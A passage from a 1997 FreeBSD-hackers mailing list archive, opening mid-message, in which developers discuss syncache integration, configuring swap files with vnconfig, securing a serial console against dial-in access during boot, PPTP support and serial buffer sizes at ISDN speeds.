ethernet. Bruce From owner-freebsd-hackers Sat Jun 28 07:48:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA22130 for hackers-outgoing; Sat, 28 Jun 1997 07:48:44 -0700 (PDT) Received: from etinc.com (et-gw-fr1.etinc.com [204.141.244.98]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA22122 for ; Sat, 28 Jun 1997 07:48:41 -0700 (PDT) Received: from ntws (ntws.etinc.com [204.141.95.142]) by etinc.com (8.8.3/8.6.9) with SMTP id KAA09867; Sat, 28 Jun 1997 10:55:04 -0400 (EDT) Message-Id: <3.0.32.19970628104747.00ce94d0@etinc.com> X-Sender: dennis@etinc.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sat, 28 Jun 1997 10:47:49 -0400 To: kdp0101@hpmail.lrz-muenchen.de From: dennis Subject: Re: BSDI Syncache in FreeBSD? Cc: hackers@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk At 10:48 AM 6/28/97 METDST, you wrote: >Hello, > >is there any ongoing work to integrate David Borman's syncache >implementation (ftp://ftp.bsdi.com/contrib/bsdi_contrib/44Lite-SYNcache.gz) >into -current? David? Is there another Borman? Horrors!!!!!! db From owner-freebsd-hackers Sat Jun 28 07:52:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA22312 for hackers-outgoing; Sat, 28 Jun 1997 07:52:05 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id HAA22305 for ; Sat, 28 Jun 1997 07:52:02 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id QAA04810; Sat, 28 Jun 1997 16:51:59 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id QAA01050; Sat, 28 Jun 1997 16:48:27 +0200 (MET DST) Message-ID: <19970628164827.KS44891@uriah.heep.sax.de> Date: Sat, 28 Jun 1997 16:48:27 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@freefall.freebsd.org ('hackers@freefall.freebsd.org') Cc: mango@staff.communique.net (Raul Zighelboim) Subject: Re: vnconfig and swapon... References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Raul Zighelboim on Jun 27, 1997 15:09:07 -0500 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Raul Zighelboim wrote: > I added the following two lines to my kernel configuration: > options NSWAPDEV=2 What's this for? The default is 4 devices. > conf# vnconfig -e /dev/vn0b /var/news/spool/articles/swap.file swap > swapon: Device not configured I think you gotta disklabel the device first. There's no /dev/vn0b available otherwise. Maybe you could use a plain /dev/vn0 without a label. I think there's even a knob in the rc files (or sysconfig for 2.2 systems) for swap files. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Jun 28 08:16:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA23385 for hackers-outgoing; Sat, 28 Jun 1997 08:16:05 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA23380 for ; Sat, 28 Jun 1997 08:16:01 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id BAA32119; Sun, 29 Jun 1997 01:13:11 +1000 Date: Sun, 29 Jun 1997 01:13:11 +1000 From: Bruce Evans Message-Id: <199706281513.BAA32119@godzilla.zeta.org.au> To: Shimon@i-Connect.Net, tom@sdf.com Subject: Re: com console, and h/w flow control... Cc: bde@zeta.org.au, freebsd-hackers@FreeBSD.ORG, mburgett@cmnsens.zoom.com Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> Not only could modem users grab root, as above, if they happen to be on >> when the system is booting, they could simply boot single user. > >This is easily fixed by having DTR stay low until the kernel initializeds >the driver (which is probably what happens now). A properly setup modem >(or terminal server) will not connect until DTR goes true. DTR is raised when init opens the console (if it's a serial console). There's nothing to prevent a suitably timed call from interrupting the boot. I think there's something to prevent single user shells. Apart from that, you have to stty the initial state port to turn clocal off for subsequent logins. You should also stty the lock state port to lock clocal (off) for subsequent logins in case the kernel doesn't lock it (the kernel currently locks it (on) for the console only). You should not use option BREAK_TO_DEBUGGER. The remaining details are the same as for a normal port. I'm not sure of them all. Bruce From owner-freebsd-hackers Sat Jun 28 09:56:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA26583 for hackers-outgoing; Sat, 28 Jun 1997 09:56:18 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA26578 for ; Sat, 28 Jun 1997 09:56:15 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wi0k2-0002yO-00; Sat, 28 Jun 1997 09:52:54 -0700 Date: Sat, 28 Jun 1997 09:52:53 -0700 (PDT) From: Tom Samplonius To: Simon Shapiro cc: Bruce Evans , mburgett@cmnsens.zoom.com, freebsd-hackers@freebsd.org Subject: Re: com console, and h/w flow control... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 28 Jun 1997, Simon Shapiro wrote: ... > > Not only could modem users grab root, as above, if they happen to be on > > when the system is booting, they could simply boot single user. > > This is easily fixed by having DTR stay low until the kernel initializeds > the driver (which is probably what happens now). A properly setup modem > (or terminal server) will not connect until DTR goes true. Then why use the COM console at all, if you won't be able to see the entire boot and be able to control it? Just put a modem on a regular port then... ... > I am thinking of a product definition for hundreds of world-wide > installation. we want a secure remote port. Having a terminal server is a > reasonable way to doit, but it is a SPOF. Buth security and availability > wise. SPOF? How? Normally the console is only used as a last resort, or a backup to a regular network login via ssh/telnet. > Simon > > Tom From owner-freebsd-hackers Sat Jun 28 18:06:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA11113 for hackers-outgoing; Sat, 28 Jun 1997 18:06:22 -0700 (PDT) Received: from cats.ucsc.edu (rumpleteazer.UCSC.EDU [128.114.129.45]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA11108 for ; Sat, 28 Jun 1997 18:06:17 -0700 (PDT) Received: from cats-po-1 (root@cats-po-1.UCSC.EDU [128.114.129.22]) by cats.ucsc.edu (8.8.5/8.8.4.cats-athena) with SMTP id SAA18560 for ; Sat, 28 Jun 1997 18:06:21 -0700 (PDT) Received: from bifrost.wireless by cats-po-1 (8.6.13/4.8) id SAA22711; Sat, 28 Jun 1997 18:06:13 -0700 Message-ID: <33B5B4FD.41C67EA6@cats.ucsc.edu> Date: Sat, 28 Jun 1997 18:06:05 -0700 From: Tom Organization: No Organization in Particular X-Mailer: Mozilla 3.01 (X11; I; FreeBSD 2.1.6-RELEASE i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: PPTP? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I read through the mailing list archives looking for something, but I didn't find anything concrete. Is there a program that supports Point To Point Tunneling Protocol? My workplace is going to implement an NT RAS server to do this, and I don't want to have to built an NT machine to do this for me... Someone mentioned that IJPPP supported this in more recent versions, but I haven't checked that out yet. Anyone? jkh told me to ask here, so I am :) From owner-freebsd-hackers Sat Jun 28 18:48:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA12228 for hackers-outgoing; Sat, 28 Jun 1997 18:48:27 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA12223 for ; Sat, 28 Jun 1997 18:48:23 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wi931-0003C2-00; Sat, 28 Jun 1997 18:45:03 -0700 Date: Sat, 28 Jun 1997 18:45:02 -0700 (PDT) From: Tom Samplonius To: Tom cc: hackers@freebsd.org Subject: Re: PPTP? In-Reply-To: <33B5B4FD.41C67EA6@cats.ucsc.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 28 Jun 1997, Tom wrote: > I read through the mailing list archives looking for something, but I > didn't find anything concrete. Is there a program that supports > Point To Point Tunneling Protocol? My workplace is going > to implement an NT RAS server to do this, and I don't want to have to > built an NT machine to do this for me... > Someone mentioned that IJPPP supported this in more recent versions, > but I haven't checked that out yet. > > Anyone? jkh told me to ask here, so I am :) Do need to use PPTP, or will any VPN solution do? I believe that iijppp can do PPP over TCP, which can create a tunnel, which you can use to make a VPN. I don't know how to configure the PPP over TCP feature. Tom From owner-freebsd-hackers Sat Jun 28 21:13:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA16487 for hackers-outgoing; Sat, 28 Jun 1997 21:13:02 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA16473 for ; Sat, 28 Jun 1997 21:12:46 -0700 (PDT) Received: (qmail 26679 invoked by uid 1000); 29 Jun 1997 03:57:08 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199706281513.BAA32119@godzilla.zeta.org.au> Date: Sat, 28 Jun 1997 20:57:08 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Bruce Evans Subject: Re: com console, and h/w flow control... Cc: freebsd-hackers@FreeBSD.ORG, mburgett@cmnsens.zoom.com, tom@sdf.com Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Bruce Evans; On 28-Jun-97 you wrote: ... > DTR is raised when init opens the console (if it's a serial console). In a properly wired and configured modem (or terminal server), unless DTR is true, the DCE will refuse to pass any connections. We are not trying to prevent an intruder with physical access to the system (we view these attempts as useless - See boot floppy, etc.). What we are trying to do, is define a safe configuration that, while working, will not have a single point of failure. Raising DTR on OPEN is quite satisfactory on the outgoing side of the port. How about NOT completing the open until DCD is true? And sending a SIGHUP when DCD drops? If init is responsible, then we can change that easily. This is what O/S sources are for. Right? :-) > There's nothing to prevent a suitably timed call from interrupting the > boot. I think there's something to prevent single user shells. Anyone knows what that is? > Apart from that, you have to stty the initial state port to turn clocal > off for subsequent logins. You should also stty the lock state port to > lock clocal (off) for subsequent logins in case the kernel doesn't lock > it (the kernel currently locks it (on) for the console only). > > You should not use option BREAK_TO_DEBUGGER. > > The remaining details are the same as for a normal port. I'm not sure of > them all. Thanx! Simon From owner-freebsd-hackers Sat Jun 28 21:13:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA16494 for hackers-outgoing; Sat, 28 Jun 1997 21:13:03 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA16472 for ; Sat, 28 Jun 1997 21:12:46 -0700 (PDT) Received: (qmail 26677 invoked by uid 1000); 29 Jun 1997 03:57:08 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199706281353.XAA30041@godzilla.zeta.org.au> Date: Sat, 28 Jun 1997 20:57:08 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Bruce Evans Subject: Re: Clists limited to 1024 bytes? Cc: bmcgover@cisco.com, hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Bruce Evans; On 28-Jun-97 you wrote: ... Thanx for an excellent technical review. This type of posting is very useful. > Anyway, 19200 bps is not a heavy load unless there are a lot of active > ports. With 32 active 16550 ports it would be fairly heavy, but still > gives less than 6% of the throughput of a single 10Mb/s ethernet. I was thinking more (on a 16550) about what happens at 115,200, 230,400, and more. These are speeds we see already today with ISDN lines. The option of an external TA (such as a Motorola BitSRFR) is very apealing, but behavior at these speeds needs careful consideration. How would you adjust the drivers to acomodate these speeds? We experienced a lot of complex problems with SCSI transactions until we bumped the sio interrupt bufferto double its size. While performance (on the sio ports - we use them only for PPP) did not drop visibly, the strange incidence of dropping biodone() calls virtually stopped. Simon